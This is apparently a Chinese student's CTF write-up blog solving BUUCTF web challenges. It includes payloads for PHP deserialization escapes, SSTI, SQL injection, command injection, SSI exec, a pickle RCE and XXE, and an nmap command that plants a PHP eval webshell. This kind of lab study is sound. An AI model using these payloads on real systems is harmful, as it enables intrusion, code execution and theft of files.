$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

首先看看函数extract,

extract函数:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传_seesion=123,那它经过这个函数就变成了$_session=123,多了一个$符,而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。

还有一个过滤的函数,正则匹配把传入的参数中含有的关键词替换为空。

$_SESSION变量经过filter函数处理过,想通过控制img_path行不通,有一个函数shal(),这里可控的参数为$_SESSION[user]和$_SESSION[function]

上面是大概了解一下源码,然后我们看看提示phpinfo里面有东西,去找一下,搜索一下关键词查找fopen、disable_、root。

盲打莽撞找到文件名。

关键点就在这个过滤函数机制,不大会,看一下wp。

过滤函数分为:

第一种为关键词数增加

第二种为关键词数减少

本体属于关键词减少,替换为空了。

一般通过键逃逸和值逃逸来解决。

值逃逸:这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对。

构造payload:

1
2
3
4
5
6
<?php
$_SESSION['user']="flagflagflagphpflagflag";
$_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>

得到

a:3:{s:4:"user";s:23:"flagflagflagphpflagflag";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

之前的filter函数将php flag啥的都替换为空,那么我们就可以使$_SESSION[user]=”“中字符串的长度等于”;s:8:“function”;s:41:”一共23位。经过反序列化后少了一个键值,我们要重新加一个键值。

最后的payload:

_SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}

参考https://www.freesion.com/article/2168622316/

还有一种方法也学习一下,加深自己的理解:

值逃逸:这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值的一部分充当键,剩下得一部分作为单独的键值对,

构造payload:

_SESSION[phpflag]=;s:14:"phpflagphpflag";s:7:"xxxxxxx";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

通过键值img成为键名,传入参数img读取文件内容。

[SUCTF 2019]Pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
URL:
@app.route('/getUrl', methods = ['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc': return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc': return "我扌 your problem? 222 " + host newhost = []
for h in host.split('.'): newhost.append(h.encode('idna').decode('utf-8')) parts[1] = '.'.join(newhost)
# 去掉url 中的空格
finalUrl =urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc': return urllib.request.urlopen(finalUrl).read()
else :return "我扌 your problem? 333"

好好审计一下源码,创建一个路由,这里区分一下两个方法:

POST方法提交时要用request.form来获取,而用GET方法则用request.args来获取。

通过url传参,前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

根据源码构造脚本,输出可以逃逸的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__=='__main__':
get_unicode()

选择其中一个字符串,代替一个c。

该符号经url编码得到:%E2%84%82

我们可以直接构造payload读取文件:

getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd

题目提示读取nginx的配置文件

getUrl?url=file://suctf.c%E2%84%82/../../../../../usr/local/nginx/conf/nginx.conf

直接读取flag了。

getUrl?url=file://suctf.c%E2%84%82/../../../../../usr/fffffflag

参考:https://www.cnblogs.com/Cl0ud/p/12187204.html

贴上另外部分nginx的配置文件所在位置

1
2
3
4
5
6
7
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

[0CTF 2016]piapiapia

先以用户名为admin,展开爆破,发现密码在两位数内会说密码错误,但是好像没啥用,也不存在sql注入,扫一下目录。

扫出www.zip,源码泄露。

好好看了一下源码,也知道了为什么之前登陆会这样了,就有点浪费时间去爆破了。

config.php里的flag是配置文件,实际的服务器环境中,这个flag是有值的。

在profile.php看到了关键函数file_get_contents这个用来读取文件的,同时还有反序列化。

然后看看update.php

存在很多过滤,前两个正则分别判断是否为数字或字符串和第三个不一样,nickname判断是否字符串还多了长度是否超过10,这里可以通过数组绕过正则表达式。

代码后面update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以试一下反序列化漏洞,最后把flag数据读取出来。

调用链顺序:update.php->update_profile()->class.php里的update()->数据库->class.php里的select()->show_profile()->profile.php里的file_get_contents()。

在后端中,反序列化是以”;}结束的,因此如果我们把”;}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。

本题的原理和上上题目的原理类似:

PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的,而且只要整个字符串的前一部分能够成功反序列化,这个字符串后面剩下的一部分将会被丢弃.如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果

我们需要让这34字符”;}s:5:“photo”;s:10:“config.php”;}逃逸出来。

通过where过滤成hacker,会多一个长度。

相当于nickname的值把photo位置给抢占了,挤出去了

最后的payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

参考一下:https://www.baidu.com/link?url=K_BKXj_naHDrCrKTydDLe0f9c77rsmwZHGKdeepjPvD22TIHM_EOD2J_rgnDkqQmaBL4Wh4QNVIKU0EYCKo2__&wd=&eqid=8ac106c7002e910300000006607b857f

操作过程:

首先到登陆页面register.php注册后登陆,输入相应信息,抓包修改nickname内容后发包,在

最后f12查看返回base64编码,解码得到flag。

这题和上上题就是同一个原理,只不过是本题多了一个数组绕过,再补充一些相关绕过:

1
2
3
4
5
6
7
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null

很多时候序列化字符串逃逸都和filter相关。

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')#注册了一个名为FLAG的config,暗示了要通过通过查找config文件找到flag
@app.route('/')
def index(): return open(__file__).read()
@app.route('/shrine/')# 设置了shrine路由
def shrine(shrine):
def safe_jinja(s):
s =s.replace('(', '').replace(')', '')# 过滤括号
blacklist = ['config','self' ]# 黑名单
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) +s # 把黑名单的东西遍历并设为空
return flask.render_template_string(safe_jinja(shrine)) # 模块渲染
if __name__ =='__main__': app.run(debug = True)

很明显ssti注入,flask,jinja字符出现。本题过滤了括号,并且设置黑名单 [‘config’,’self’ ],如果没有过滤可以直接即可查看所有app.config内容

新学一个python函数url_for,作用是url是用于构建指定函数的URL,再配合globals(),该函数会以字典类型返回当前位置的全部全局变量。

payload:

{{url_for.__globals__}}

current_app’: <Flask ‘app’>这里的current就是指的当前的app,查看

{{url_for.__globals__['current_app'].config}}

查看到flag。

同样还有一个函数也可以实现,get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

[SWPU2019]Web1

类型:SQL注入。

广告名内容加个单引号,报错,存在sql注入。

尝试union查询注入,发现空格被替换了。

尝试/**/注释符替换空格,可以成功绕过空格过滤,想通过order by查询字段数,但是被黑名单了。

我们可以通过这个方法来获得字段数,一直试,

一共有22个字段,可以慢慢试出来。

接着要查询爆数据库名为web1。想接着查表,结果存在黑名单。

information_schema被黑名单了,报错注入相关函数也被黑名单了,看一下相关wp

其实order by 被过滤了,可以使用group by来猜字段,通过联合查询来猜字段适用于字段数小的,字段数大的太麻烦。

学习一下遇到information_schema被黑名单,如何绕过。

通过语句:

select group_concat(table_name) from mysql.innodb_table_stats

这是在MYSQL一个分支,数据库管理系统MariaDB适用的方法。成功拿到表名。

无列名注入

参考https://www.jianshu.com/p/dc9af4ca2d06

可以通过数字来查询第几列的全部数据。

payload:

-1'union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

本题关键:无列名注入。

[WUSTCTF2020]朴实无华

测试出来有robots.txt文件,存在文件fAke_f1agggg.php,访问一下,假的flag,结果响应头有密码。

访问/fl4g.php拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>

intval函数绕过

原理:如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值而对于科学计数法+数字则会返回字符串类型

由函数特性:

1
2
echo(intval(2e4))  //2
echo(intval(2e4+1)) //20001

输入2e4进行绕过。

第二个绕过,直接输入0e215962017

进行绕过。前面有记录过。

最终的payload,拿到flag。

?num=2e4&md5=0e215962017&get_flag=tac$IFS$9\fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[网鼎杯 2020 朱雀组]Nmap

这是一个nmap扫描的页面,f12提示flag在/flag里。

之前遇到过类似的,我们可以通过nmap特有命令-oG写入一句话木马,

经过测试绕过过滤的payload:

127.0.0.1 | ' <?= @eval($_POST[1]);?> -oG hhh.phtml '

成功写入一句话木马,连接蚁剑。

可以回看**[BUUCTF 2018]Online Tool**

[MRCTF2020]PYWebsite

f12查看源码有flag.php,

访问一下flag.php,伪造当前ip

添加xff。这里xff位置放有点讲究,不然页面会跳408.

[极客大挑战 2019]FinalSQL

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import time

url = "http://a4699394-b245-4e13-bc2f-aa04420a9551.node4.buuoj.cn/search.php"
params = {"id": ""}
flag= ""
for i in range(1, 1000):
# time.sleep(0.06)
low = 32
high = 128
mid = (low + high)>>1
while (low < high):
# 库名
#params["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
# 表名
# params["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
#params["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
params["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url, params=params)
time.sleep(0.04)
if "Cl" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) >>1
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

[NPUCTF2020]ReadlezPHP

f12点击跳转到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

就一个简单的反序列化漏洞。

构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "ls";
$this->b = "system";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo serialize($c);
?>

传入无反应,被过滤了。

可以执行assert(phpinfo())

构造新的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo serialize($c);
?>

在phpinfo里面查找flag,在payload中记得把前面source去除,不然得不到后面的回显,只有前面的回显。

[BJDCTF2020]EasySearch

爆破一下备份文件, 得到index.php.swp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

利用脚本爆破密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib

a= "0123456789"
for o in a:
for p in a:
for q in a:
for r in a:
for s in a:
for t in a:
for u in a:
b = str(o)+str(p)+str(q)+str(r)+str(s)+str(t)+str(u)
md5 = hashlib.md5(b.encode('utf-8')).hexdigest()
if ((md5[0:6])=='6d0bc1'):
print b

得到2020666,2305004,9162671

选其中一个登陆。

发现新的url

后缀有shtml,存在ssi注入漏洞。

参考:

https://blog.csdn.net/qq_40657585/article/details/84260844

https://www.cnblogs.com/yuzly/p/11226439.html

这里的1就是前面输入的用户名,我们可以通过这里实现ssi注入。

源码中会把用户名写入后缀名为shtml的文件。

1
<!--#exec cmd="命令"-->

构造payload:

1
<!--#exec cmd="ls ../"-->

返回flag文件名,flag_990c66bf85a09c664f0b6741840499b2

拿flag

1
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

本题关键:爆破出md5加密后相应的值,ssi注入。

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);#文件包含读取
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

代码审计一下,发现有一个危险函数include()的内容可控,这里就可能造成文件包含漏洞。

了解魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
1. __construct 具有构造函数的类会在每次创建新对象时先调用此方法;初始化工作执行。
2. __desstruct 对象的所有引用都被删除或者当对象被显式销毁时执行。
3.__call()在对象中调用一个不可访问方法时,__call() 会被调用。
4.__callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
5.__set() 在给不可访问的属性赋值时调用
6.__get() 读取不可访问的属性值是自动调用
7.__isset() 当对不可访问的私有属性使用isset或empty时自动调用
8.__unset() 当对不可访问的私有属性使用unset时;自动调用
9.__toString()当一个类的实例对象;被当成一个字符串输出时调用
10.__invoke() 当脚本尝试将对象调用为函数时触发
11.__wakeup() 使用unserialize(反序列化)时触发
12.__sleep() 使用serialize(序列化)时触发

序列化Pop链
利用几个类之间相互关联进行构造

反序列化构造pop链的题目要注意两个点:

  • 入口点,反序列化POP链构造的入口

  • 找危险函数,如果含有某些危险函数就可能导致漏洞达到目的

这里反序化入口点在Show类,使用unserialize时触发__wakeup(),对$this->source正则匹配过滤关键字,如果$this->source此时是一个类的话,此时类就被当成了一个实例化对象,就会触发__tostring

Test类中有魔术方法__get__toString()访问了str的source属性,str是Test类,不存在source属性,就调用了Test类的__get()魔术方法。

__get()方法将p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;
__invoke()调用了append()方法,包含$value,若将$value为伪协议,则可读flag.php源码

综合:

让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法,将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数,再让source 等于对象,进而触发__toString方法,输出内容

构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
public $p;

}

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}


$a = new Show();//创建show对象,反序列化调用_wakeup方法
$a->source = new Show();//让source等于对象,调用函数__toString方法
$a->source->str->p = new Modifier();//变函数


echo urlencode(serialize($a));

?>

成功返回一串base64编码。解码得到flag。

[NCTF2019]True XML cookbook

前面也做过一个相关XXE注入,直接读flag,

没读到flag,把读取文件方式修改成php伪协议,

读取doLogin.php,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

看源码没啥用,

实现XXE攻击内网。

相关路径

1
2
/etc/hosts
/proc/net/arp

发现存活主机:

使用第一个没有扫描到存活的主机,试了一下第二个,

返回ip地址,三个都访问爆破一下,结果第三个就存在flag。

如果本题在使用etc/hosts就找到主机,即可对最后一位数进行爆破。

补充一个读取历史命令的方法:

1
file:///www-data/.bash_history

[GYCTF2020]FlaskApp

在解码处输入123,非base64编码的数,报错,存在ssti注入。

尝试先加密再解密ssti注入,得到结果,是存在ssti注入,这里传入的是4+4。

刚开始没有连着两个花括号一起加密,导致只返回花括号内的字符串。

payload:

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

解密得到flag。

参考:

https://www.cnblogs.com/h3zh1/p/12694933.html

[CISCN2019 华北赛区 Day1 Web2]ikun

第一个页面有提示一定要买到v6,我们点击下一页进行查找,找了几页没发现,v6,但是page参数可控,我们可以进行爆破。

如果在页面修改参数时,会跳转到调试器暂停,导致我们操作不便。

写python脚本爆破:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3

import requests
url="http://640a0c0a-d512-4089-8d7d-648a51ca87d7.node3.buuoj.cn/shop?page="

for i in range(0,2500):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break

爆破出来第181页,这么长。而且很贵

抓包看看,有没有可控参数。

价格和折扣都可以控制,修改

怎么操作失败了,尝试了前面的都可以任意修改成功,

如果只修改折扣就成功了。

尝试伪造xff,不行,注意这里有一串代码

base64解密一下,

看到username是我自己的登陆名5,这里需要改为admin
后边解码不出来因为经过了sha256,需要破解key
找了一个工具破的破解工具

然后生成伪造的JWT

成功绕过,记得在JWT后面加上;

f12查看页面代码,发现源码泄露www.zip

看了wp,存在python反序列化,pickle反序列化。

看到了在Admin.py中存在pickle.loads()这个函数,会造成反序列化命令执行:

大佬分析python魔术方法

参考

构造payload:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())#将object对象序列化为字符串形式,而不存入文件中
a = urllib.quote(a)
print a

记得使用python2运行,不然会报错。

这样就可以打印flag.txt里的内容了,生成的payload传给become

1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道